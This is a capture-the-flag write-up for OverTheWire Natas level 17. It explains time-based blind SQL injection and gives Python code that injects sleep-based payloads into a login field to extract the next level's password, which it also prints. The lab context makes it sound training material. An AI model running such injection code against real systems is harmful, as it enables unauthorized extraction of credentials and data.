Writeups OverTheWireNatasWeb ExploitationBlind SQL InjectionTime-Based

Natas 17 Writeup - OverTheWire

Writeup for Natas level 17 from OverTheWire: time-based blind SQL injection.

Contents

Wargame: Natas

Level: 17

Category: Web Exploitation

Description

Same structure as natas15 but the server returns a blank page regardless of whether the user exists. There is no visual feedback. The goal is to extract the natas18 password using response timing.

Overview

Background: Time-Based Blind SQL Injection

Solution

Step 1: Phase 1 - Find Which Characters Appear

def time_check(query):
    r = requests.post(url, auth=auth, data={"username": query})
    return r.elapsed.total_seconds() >= 5

match_set = []
for c in charset:
    q = f'natas18" and if(password like binary "%{c}%", sleep(5), 1) #'
    if time_check(q):
        match_set.append(c)

Step 2: Phase 2 - Build the Password

result = ""
while len(result) != 32:
    for c in match_set:
        q = f'natas18" and if(password like binary "{result + c}%", sleep(5), 1) #'
        if time_check(q):
            result += c
            break

Password

8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq

← Back to Blog